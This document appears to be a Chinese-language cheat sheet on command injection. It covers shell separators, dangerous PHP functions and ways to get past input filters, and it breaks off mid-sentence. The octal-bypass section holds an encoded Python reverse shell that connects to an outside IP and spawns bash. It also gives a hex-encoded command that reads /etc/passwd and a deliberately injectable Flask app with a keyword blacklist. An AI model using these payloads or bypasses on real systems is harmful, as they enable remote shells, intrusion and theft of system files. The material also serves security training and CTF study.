管道符:
Windows:|–>直接执行后面的语句
||–>如果前面执行的语句执行出错,则执行后面的语句
&–>如果前面的语句为假则直接执行后面的语句,前面的语句可真可假
&&–>如果前面的语句为真先执行第一个命令后执行第二个命令;为假 则直接出错,也不执行后面的语句
linux: ;–>执行完前面的命令执行后面的
|–>显示后面语句的执行结果
||–>当前面的语句执行出错时,执行后面的语句
&–>如果前面的语句为假则直接执行后面的语句,前面的语句可真可假
&&–>如果前面的语句为真先执行第一个命令后执行第二个命令;为假 则直接出错,也不执行后面的语句
()–>如果想执行几个命令,则需要用命令分隔符分号隔开每个命令,并使用圆括号()把所有命令组合起
常见危险函数:
1.system():执行shell命令,向dos发送一条指令,如system("pause")可以实现冻结屏幕,便于观察程序的执行结果;system("CLS")可以实现清屏操作;而调用color函数可以改变控制台的前景色和背景。
int system(const char *command)
2.passthru():只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上
3.exec():在PHP中,执行一个外部程序, exec() 执行 command 参数所指定的命令。
语法: exec(string $command, array &$output = ?, int &$return_var = ?): string
4.shell_exec():是PHP中的一个内置函数,用于通过shell执行命令并以字符串的形式返回完整的输出
5.popen():通过创建一个管道,调用 fork 产生一个子进程,执行一个 shell 以运行命令来开启一个进程。这个进程必须由 pclose() 函数关闭,而不是 fclose() 函数。pclose() 函数关闭标准 I/O 流,等待命令执行结束,然后返回 shell 的终止状态。如果 shell 不能被执行,则 pclose() 返回的终止状态与 shell 已执行 exit 一样。
语法:FILE * popen ( const char * command , const char * type );
int pclose ( FILE * stream );
6.proc_open():执行一个命令,并且打开用来输入/输出的文件指针,类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力。
语法:resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
7.pcntl_exec():在当前进程空间执行指定程序
语法:void pcntl_exec ( string $path [, array $args [, array $envs ]] )
8.ob_start():打开输出控制缓冲,此函数将打开输出缓冲。当输出缓冲激活后,脚本将不会输出内容(消息头除外),相反需要输出的内容被存储在内部缓冲区中。
语法:ob_start(callable $callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool
9.eval():把字符串作为PHP代码执行
语法:eval(string $code): mixed
10.assert():检查断言是否为 false
https://www.php.net/manual/zh/function.assert.php
11.preg_replace:执行一个正则表达式的搜索和替换
12.phpinfo():这个文件里面包含了PHP的编译选项,启动的扩展、版本、服务器配置信息、环境变量、操作系统信息、path变量等非常重要的敏感配置信息
13.symlink():一般是在linux服务器上使用的,为一个目标建立一个连接,在读取这个链接所连接的文件的内容,并返回内容
14.getenv:获取一个环境变量的值
15.putenv($a):添加$a到服务器环境变量,但环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态
16.`(反单引号):用反引号,将shell命令引起来,可以将命令的输出值赋给变量。ps:$() 与 反引号 `` 其实效果是一样的
常见过滤绕过
编码绕过
如果命令注入的网站过滤了某些分割符,可以将分隔符编码后(url编码,base64等)绕过
八进制绕过
$(printf “\154\163”)//ls命令,这个编码后可以拼接
//这里过滤了-.等符号,只允许0-9a-zA-Z”>\$();
echo$IFS$9$(printf$IFS$9”\163\75\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\163\157\143\153\145\164\50\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\101\106\137\111\116\105\124\54\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\123\117\103\113\137\123\124\122\105\101\115\51\73\163\56\143\157\156\156\145\143\164\50\50\42\64\67\56\61\60\60\56\61\62\60\56\61\62\63\42\54\62\63\63\63\51\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\60\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\61\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\62\51\73\160\75\137\137\151\155\160\157\162\164\137\137\50\42\163\165\142\160\162\157\143\145\163\163\42\51\56\143\141\154\154\50\133\42\57\142\151\156\57\142\141\163\150\42\54\42\55\151\42\135\51\73”)>$(printf$IFS$9”\57”)detect$(printf$IFS$9”\56”)py
echo ‘python反弹shell的payload’ > /detect.py
1
2
3
from flask import Flask
from flask import render_template,request
import subprocess,re
app = Flask(name)
@app.route(‘/‘,methods=[‘GET’])
def index():
return render_template(‘index.html’)
@app.route(‘/run’,methods=[‘POST’])
def run():
cmd = request.form.get(“cmd”)
if re.search(r’’’[^0-9a-zA-Z”>\$();]’’’,cmd):
return ‘Hacker!’
if re.search(r’’’ping|wget|curl|bash|perl|python|php|kill|ps’’’,cmd):
return ‘Hacker!’
p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)
try:
(msg, errs) = p.communicate(timeout=5)
return msg
except Exception as e:
return ‘Error!’
app.run(host=’0.0.0.0’,port=’5000’)
十六进制绕过
echo “636174202F6574632F706173737764” | xxd -r -p|bash
十六进制字符序列
值得注意的是,这种方法不适用于所有PHP函数,这种变量函数方法不能用于构造诸如echo、print、unset()、isset()、empty()、include、require等系统特殊函数,但可以使用包装函数来构造它们
空格过滤
linux内置分隔符:${IFS},$IFS,$IFS$9
利用重定向符<>
>,+过滤
对于 >,+ 等 符号的过滤 ,$PS2变量为>,$PS4变量则为+
关键词绕过
通过拆分命令达到绕过的效果:a=l;b=s;$a$b
空变量绕过:cat fl${x}ag cat tes$(z)t/flag
控制环境变量绕过:
先利用echo $PATH得到环境变量 => “/usr/local/….blablabla”
接着利用echo $